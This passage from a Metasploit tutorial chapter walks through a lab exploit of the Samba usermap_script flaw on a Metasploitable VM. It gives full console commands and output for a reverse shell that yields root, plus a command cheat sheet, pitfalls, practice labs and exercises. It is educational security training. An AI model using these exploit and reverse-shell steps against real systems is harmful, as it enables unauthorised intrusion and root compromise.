[*] 10.10.10.5:445 - SMB Detected (versions:1) (preferred dialect:...)
[*] 10.10.10.5:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Note the flow: use → show options → set RHOSTS → run. That four-beat rhythm is every module. The result is also written back to the database as a note on the host.

Step 3 — Select an exploit, read it, and check

Section titled “Step 3 — Select an exploit, read it, and check”

The Samba 3.0.20 banner points at the usermap_script command-injection vulnerability (CVE-2007-2447) — an excellent-rank exploit because it is command injection, not memory corruption, so it cannot crash the box.

msf6 > search usermap_script
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
msf6 > use 0
msf6 exploit(multi/samba/usermap_script) > info
...
Rank: Excellent
Description:
This module exploits a command execution vulnerability in Samba
versions 3.0.20 through 3.0.25rc3 ... by specifying a username
containing shell meta characters...

Reading info confirms it matches our target’s version and is safe to run. This module’s Check column is No, so we cannot pre-test — we rely on the version match instead.

Step 4 — Choose a payload and set options

Section titled “Step 4 — Choose a payload and set options”

Because this is a multi/ exploit against a Unix target, a Unix reverse shell fits:

msf6 exploit(multi/samba/usermap_script) > show payloads
...
cmd/unix/reverse
cmd/unix/reverse_netcat
cmd/unix/bind_netcat
...
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > setg LHOST 10.10.14.7
LHOST => 10.10.14.7
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.5
RHOSTS => 10.10.10.5
msf6 exploit(multi/samba/usermap_script) > show missing
Nothing missing.

setg LHOST once means every subsequent module already knows your attacker IP — the datastore pattern from Part 6 in action.

msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP double handler on 10.10.14.7:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8sh3n2...
[*] Writing to socket A
[*] Writing to socket B
[*] Command shell session 1 opened (10.10.14.7:4444 -> 10.10.10.5:41234)
id
uid=0(root) gid=0(root)
hostname
metasploitable

You have a root command shell — session 1. Note the connect-back to 10.10.14.7:4444, exactly the IOC a defender watches for (Part 11).

# background the shell without killing it (Ctrl-Z, then y)
[*] Backgrounding session 1...
msf6 exploit(multi/samba/usermap_script) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell cmd/unix 10.10.14.7:4444 -> 10.10.10.5:41234
msf6 > sessions -i 1 # jump back in
msf6 > sessions -k 1 # kill it when done

Step 7 — Save the workflow as a resource script

Section titled “Step 7 — Save the workflow as a resource script”
msf6 > makerc /root/lab_samba.rc
[*] Saving last 12 commands to /root/lab_samba.rc ...

Now msfconsole -q -r /root/lab_samba.rc replays the entire lab. You have gone from a fresh console to recon-in-database to a scanner to a ranked exploit to a root shell to a repeatable script — the full Part-1 loop.


Part 13: Common Pitfalls and How to Avoid Them

Section titled “Part 13: Common Pitfalls and How to Avoid Them”
PitfallSymptomFix
Database not connectedNo hosts/services, slow searchsudo msfdb init; check db_status
RHOST vs RHOSTS“missing required option” though you set itUse plural RHOSTS on modern modules; run show missing
Stale global datastorePayload calls back to an old IPunsetg LHOST or setg the correct one; audit with get
Wrong/unset payloadExploit “works” but no sessionset PAYLOAD explicitly; confirm with show options
Handler port in use“address already in use”jobs/jobs -k to kill a dangling handler
Low-rank exploit on prodService crash / bluescreenPrefer excellent/great; use check; get change approval
Wrong target buildExploit fires but fails/crashesshow targets, set it explicitly from your enumeration
Trusting auto-target blindlySilent failureFingerprint first (Chapter 2), then set TARGET
LHOST behind NATReverse shell never arrivesSet LHOST to the routable/interface IP the target can reach; forward LPORT
Forgetting backgroundKilling a shell to run a scanCtrl-Z / background, then sessions -i

A meta-pitfall: treating Metasploit as a magic button. Every failure above comes from not understanding one of the parts we built up — datastore, payload, target, session, job, database. The framework rewards operators who understand the engine.


  • Metasploit is a framework, not a button. It decouples exploit, payload, encoder, nop and handler so any compatible payload attaches to any exploit — that pick-and-mix design is the whole point.
  • Architecture: interfaces (msfconsole, msfvenom, RPC) → core (module manager, datastore, session/job managers) → libraries (Rex, Msf::Core) → modules on disk → PostgreSQL database.
  • Seven module types: exploit, auxiliary, payload, encoder, nop, post, evasion. Read a module path as type/platform/service/name.
  • msfconsole rhythm: search → use → info → show options → set/setg → check → run, then sessions/jobs to manage results.
  • Datastore: module-local set overrides global setg; set LHOST once globally, RHOSTS per target. RHOSTS is plural.
  • Search filters (type:, platform:, cve:, rank:, port:) turn tens of thousands of modules into a short, high-quality list.
  • Rank is a risk signal: prefer excellent/great, use check, keep low-rank memory-corruption modules to lab or change-approved windows.
  • The database (workspaces, db_nmap, hosts, services, creds, loot) turns the framework into an engagement platform with automatic scan → store → module → store loops.
  • Sessions and jobs: background keeps shells alive; exploit -j backgrounds handlers; resource scripts (.rc, makerc) automate repeatable workflows.
  • Defenders watch the defaults: port 4444, Meterpreter TLS fingerprints, loud scanning, stager download patterns, and on-host post-exploitation artifacts. Patching, egress filtering, EDR and segmentation blunt the framework directly.

The next chapter (Chapter 4) goes deep on the other half of the pick-and-mix: exploits, payloads, staged vs stageless in practice, sessions, and the full power of Meterpreter — the in-memory payload that makes post-exploitation so effective.


Terminal window
msfconsole --version # check version
sudo systemctl start postgresql
sudo msfdb init # create/init database (once)
msfdb status # DB running & initialised?
msfconsole -q # launch quiet (no banner)
msfconsole -q -r file.rc # launch and run a resource script
msfconsole -x "use ...; run" # run commands non-interactively
search type:exploit platform:windows cve:2017-0144
use <path|index> # select a module
info # full module datasheet
back / previous # deselect / switch
show options | show missing # required settings
show targets / show payloads # variants & compatible payloads
show advanced / show evasion
set RHOSTS 10.10.10.5 # module-local option
setg LHOST 10.10.14.7 # global option (sticky)
unset / unsetg / get NAME
check # safe vuln test (if supported)
run | exploit # fire the module
exploit -j # run as background job
exploit -z # run, don't auto-interact
sessions / -i N # list / interact
sessions -k N | -K # kill one / all
sessions -u N # upgrade shell to Meterpreter
background # leave a session alive (Ctrl-Z)
jobs / jobs -k N / kill N # manage background jobs
workspace -a name # new workspace (per engagement)
db_nmap -sV -sC 10.0.0.0/24 # scan + auto-import
db_import scan.xml # import Nmap/Nessus/etc.
hosts | services | vulns
creds | loot | notes
services -p 445 -s smb -u # filtered service query
makerc /path/out.rc # record session commands to a script
resource /path/in.rc # run a resource script
type: platform: cve: name: path: author:
rank: arch: port: app: disclosure_date:

Train this chapter’s exact skills — driving the framework, searching modules, using the datastore and database, and managing sessions — on targets built for it:

  • TryHackMe — “Metasploit: Introduction” and “Metasploit: Exploitation” rooms. The introduction room walks the exact search/use/options/run loop and the module taxonomy from this chapter; the exploitation room drives auxiliary scanners and the database.
  • TryHackMe — “Metasploit: Meterpreter” to bridge into Chapter 4 (payloads/Meterpreter), but its early tasks reinforce session management from Part 10.
  • Metasploitable 2 and Metasploitable 3 (Rapid7’s free intentionally-vulnerable VMs). The usermap_script Samba root shell in the lab is on Metasploitable 2 out of the box; Metasploitable 3 adds a Windows target for the exploit/target/payload workflow.
  • TryHackMe — “Blue” and “Ice” — real end-to-end Metasploit boxes (EternalBlue and a media server exploit) that exercise rank, targets, payload selection and Meterpreter sessions against Windows.
  • HackTheBox — “Lame” — the classic first HTB machine, rooted via the same Samba usermap_script module used in this chapter’s lab; a perfect check that you can reproduce the workflow on an unseen box.
  • HackTheBox — “Legacy” and “Blue” — MS08-067 and MS17-010 respectively, ideal for practising show targets, exploit rank and staged Windows payloads.
  • Rapid7 Metasploit Documentation (docs.metasploit.com) and the in-console help/info — the authoritative reference for every command and module.

Work each target the professional way: workspace -a first, db_nmap into the database, confirm with an auxiliary scanner, read info before firing, prefer check and high ranks, and makerc the workflow when it works. That discipline — not memorising module names — is what this chapter is really teaching.

  1. Explain, in datastore terms, why setg LHOST followed by set RHOSTS in each module is more efficient — and occasionally more dangerous — than setting both locally every time. What command audits a stale global?
  2. You have a Windows target confirmed as Server 2012 R2 x64 from enumeration. Walk through the exact commands to select an SMB exploit, choose the correct target build rather than trusting auto-detection, attach an x64 Meterpreter reverse payload, and background the resulting session.
  3. A teammate says “just run the exploit, it’s fine.” The module is rank average and the target is a production database server. What do you check first, which command probes safely if available, and what would you require before firing?
  4. Describe three distinct network- or host-level signals a blue team could use to detect the Part-12 lab workflow, and one hardening control that would defeat the reverse shell entirely.
  5. Write a four-line resource script that stands up a background multi/handler for an x64 Meterpreter reverse_tcp payload on your attacker IP, and give the single command that launches msfconsole and runs it.

Discussion

Questions, corrections, or something to add? Comment with your GitHub account.